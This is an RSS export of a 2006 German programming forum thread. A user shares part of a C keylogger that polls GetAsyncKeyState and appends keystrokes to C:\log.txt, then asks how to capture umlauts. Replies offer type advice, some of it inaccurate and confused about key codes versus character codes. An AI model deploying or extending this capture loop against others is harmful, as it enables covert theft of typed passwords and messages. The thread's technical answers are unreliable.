<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Keylogger zeichenaufnehmen]]></title><description><![CDATA[<p>Hallo alle zusammen,</p>
<p>mein Programm: ich habe mir einen kleinen keyloggerger coded der alle zeichen der Tastatur einlesen kann auser: ä ü ö und ß</p>
<p>nun meine Frage: wie kann ich die Zeichen ä ü ö und ß ermitteln, ich habe mir Tasten wie Enter usw. über ascii ermittelt, aber soweit ich weiß gibt es ja keinen ascii code für ö ä ü ß, kann mir einer von euch sagen wie ich diese Zeichen ermitteln kann ?</p>
<p>Danke im vorraus !</p>
<p>Gruß,<br />
Peter</p>
]]></description><link>https://www.c-plusplus.net/forum/topic/168795/keylogger-zeichenaufnehmen</link><generator>RSS for Node</generator><lastBuildDate>Thu, 16 Jul 2026 08:31:50 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/168795.rss" rel="self" type="application/rss+xml"/><pubDate>Wed, 27 Dec 2006 23:48:24 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Wed, 27 Dec 2006 23:48:24 GMT]]></title><description><![CDATA[<p>Hallo alle zusammen,</p>
<p>mein Programm: ich habe mir einen kleinen keyloggerger coded der alle zeichen der Tastatur einlesen kann auser: ä ü ö und ß</p>
<p>nun meine Frage: wie kann ich die Zeichen ä ü ö und ß ermitteln, ich habe mir Tasten wie Enter usw. über ascii ermittelt, aber soweit ich weiß gibt es ja keinen ascii code für ö ä ü ß, kann mir einer von euch sagen wie ich diese Zeichen ermitteln kann ?</p>
<p>Danke im vorraus !</p>
<p>Gruß,<br />
Peter</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1198791</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1198791</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Wed, 27 Dec 2006 23:48:24 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Thu, 28 Dec 2006 12:48:07 GMT]]></title><description><![CDATA[<p>mach</p>
<pre><code class="language-cpp">unsigned char
</code></pre>
<p>dann geht es -&gt; damit gehst du halt nicht von -128 (außerhalb des definitionsbereiches) bis 127 sondern nimmst das ä,ö usw. mit -&gt; wertebereich 0 -&gt; 255</p>
<p>mfg<br />
stelfer</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1198962</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1198962</guid><dc:creator><![CDATA[Stelfer]]></dc:creator><pubDate>Thu, 28 Dec 2006 12:48:07 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Sun, 31 Dec 2006 15:39:43 GMT]]></title><description><![CDATA[<p>ich poste dir mal n stück von mein code evtl. kannst du mir dann genauer helfen:</p>
<pre><code>short character;
             while(1)
             {      Sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character&lt;=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *log;
                            log=fopen(&quot;C:\\log.txt&quot;,&quot;a+&quot;);
                            if(log==NULL)
                            {
                                    return 1;
                            }            
                            if(log!=NULL)
                            {        
                                    if((character&gt;=39)&amp;&amp;(character&lt;=64))
                                    {
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }        
                                    else if((character&gt;64)&amp;&amp;(character&lt;91))
                                    {
                                          character+=32;
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case 187:
                                              fputc('+',log);
                                              fclose(log);
                                              break;
                                              case 188:
                                              fputc(',',log);
                                              fclose(log);
                                              break;
                                              case 189:
                                              fputc('-',log);
                                              fclose(log);
                                              break;
                                              case 190:
                                              fputc('.',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',log);
                                              fclose(log);
                                              break;
                                              case VK_CAPITAL:
                                              fputs(&quot;\r\n[CAPS LOCK]\r\n&quot;,log);
                                              fclose(log);
                                              break;
                                              case VK_SHIFT:
                                              fputs(&quot;\r\n[SHIFT]\r\n&quot;,log);
                                              fclose(log);
                                              case VK_SPACE:
                                              fputc(' ',log);
                                              fclose(log);
                                              break;    
                                              case VK_CONTROL:
                                              fputs(&quot;\r\n[CTRL]\r\n&quot;,log);
                                              fclose(log);
                                              break;
                                              break;                                            
                                              case VK_RETURN:
                                              fputs(&quot;\r\n[RETURN]\r\n&quot;,log);
                                              fclose(log);
                                              break;
                                              case VK_BACK:
                                              fputs(&quot;\r\n[BACKSPACE]\r\n&quot;,log);
                                              fclose(log);
                                              break;
                                              case VK_TAB:
                                              fputs(&quot;\r\n[TAB]\r\n&quot;,log);
                                              fclose(log);
                                              break;
                                              case VK_DELETE:
                                              fputs(&quot;\r\n[DELETE]\r\n&quot;,log);
                                              fclose(log);
                                              break;
                                              default:
                                              fclose(log);
                                              break;
                                       }
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1200377</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200377</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Sun, 31 Dec 2006 15:39:43 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Sun, 31 Dec 2006 15:48:15 GMT]]></title><description><![CDATA[<p>Dieser Thread wurde von Moderator/in <a href="http://www.c-plusplus.net/forum/profile.php?mode=viewprofile&amp;u=14811" rel="nofollow">TactX</a> aus dem Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=10" rel="nofollow">ANSI C</a> in das Forum <a href="http://www.c-plusplus.net/forum/viewforum.php?f=4" rel="nofollow">WinAPI</a> verschoben.</p>
<p>Im Zweifelsfall bitte auch folgende Hinweise beachten:<br />
<a href="http://www.c-plusplus.net/forum/viewtopic.php?t=39405" rel="nofollow">C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?</a></p>
<p><em>Dieses Posting wurde automatisch erzeugt.</em></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1200387</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200387</guid><dc:creator><![CDATA[C++ Forumbot]]></dc:creator><pubDate>Sun, 31 Dec 2006 15:48:15 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Sun, 31 Dec 2006 16:44:49 GMT]]></title><description><![CDATA[<p>Ich glaub das ist nich erlaubt hier zu posten oder doch ? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1200415</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200415</guid><dc:creator><![CDATA[PhoeNix_FasT]]></dc:creator><pubDate>Sun, 31 Dec 2006 16:44:49 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Sun, 31 Dec 2006 17:29:31 GMT]]></title><description><![CDATA[<p>PhoeNix_FasT schrieb:</p>
<blockquote>
<p>Ich glaub das ist nich erlaubt hier zu posten oder doch ? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
</blockquote>
<p>Was soll warum nicht erlaubt sein?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1200430</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200430</guid><dc:creator><![CDATA[[[global:guest]]]]></dc:creator><pubDate>Sun, 31 Dec 2006 17:29:31 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Sun, 31 Dec 2006 17:41:57 GMT]]></title><description><![CDATA[<p>Das selbe würde ich auch sagen !</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1200431</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200431</guid><dc:creator><![CDATA[mikey]]></dc:creator><pubDate>Sun, 31 Dec 2006 17:41:57 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Sun, 31 Dec 2006 17:47:16 GMT]]></title><description><![CDATA[<p>TactX schrieb:</p>
<blockquote>
<p>PhoeNix_FasT schrieb:</p>
<blockquote>
<p>Ich glaub das ist nich erlaubt hier zu posten oder doch ? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /></p>
</blockquote>
<p>Was soll warum nicht erlaubt sein?</p>
</blockquote>
<p>Ok das merke ich mir <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f642.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--slightly_smiling_face"
      title=":)"
      alt="🙂"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1200435</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200435</guid><dc:creator><![CDATA[PhoeNix_FasT]]></dc:creator><pubDate>Sun, 31 Dec 2006 17:47:16 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Sun, 31 Dec 2006 17:51:13 GMT]]></title><description><![CDATA[<p>OHOH, jetzt wird PhoeNix_FasT gleich mal mit einem fetten Viruscode antanzen, lool <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f603.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--grinning_face_with_big_eyes"
      title=":D"
      alt="😃"
    /></p>
<p>Aber eigentlich müsste das Problem nun gelöst sein ... ein unsigned char hernehmen, und die enstprechenden ASCII - Codes extrahieren. Das müsste soweit klappen.</p>
<p>mikey.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1200437</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200437</guid><dc:creator><![CDATA[mikey]]></dc:creator><pubDate>Sun, 31 Dec 2006 17:51:13 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Sun, 31 Dec 2006 18:44:10 GMT]]></title><description><![CDATA[<p>es ist genauso erlaubt viriicode zu veröffentlichen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /></p>
<p>kann mir wer sagen wie ich das jetz in meinen code einfuegen soll ?<br />
anstatt short charakter - unsigned char charakter denk ich jetz mal oder ?</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1200452</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200452</guid><dc:creator><![CDATA[peterr]]></dc:creator><pubDate>Sun, 31 Dec 2006 18:44:10 GMT</pubDate></item><item><title><![CDATA[Reply to Keylogger zeichenaufnehmen on Mon, 01 Jan 2007 13:57:33 GMT]]></title><description><![CDATA[<p>Hi,</p>
<p>sorry, ich muss mich berichtigen. Du kannst weiterhin ein <strong>short</strong> nehmen, denn so deckst du den Bereich von -32768 bis 32768 ab. Die relevanten Buchstaben gehen sowieso nur von 0 bis ASCII 127, und die Umlaute sind negative ASCII - Werte, weshalb auch <strong>short</strong>. Somit deckst du alle benötigten Zeichen ab.</p>
<p>Hier die nötigen ASCII - Werte der Umlaute:</p>
<p>Ä = -114<br />
ä = -124<br />
Ü = -102<br />
ü = -127<br />
Ö = -103<br />
ö = -108</p>
<p>So, das müsste alles sein <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f609.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--winking_face"
      title=";)"
      alt="😉"
    /> Bei weiteren Problemen einfach fragen !</p>
<p>//Edit: Es ist auch völlig irrelevant, ob du char oder (in dem Fall) short nimmst. Denn Buchstaben sind im Prinzip nichts anderes als Zahlenwerte, weshalb du theoretisch auch ein int nehmen könntest, dass dann die ASCII - Werte der Buchstaben abspeichert. Allerdings reicht der Wertebereich von unsigned char (0-255) oder char (-128 - 128) für dich nicht aus (ich hab da mal 222 bei dir gesehen), weshalb short in Frage kommt.</p>
<p>MfG, mikey.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1200603</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1200603</guid><dc:creator><![CDATA[mikey]]></dc:creator><pubDate>Mon, 01 Jan 2007 13:57:33 GMT</pubDate></item></channel></rss>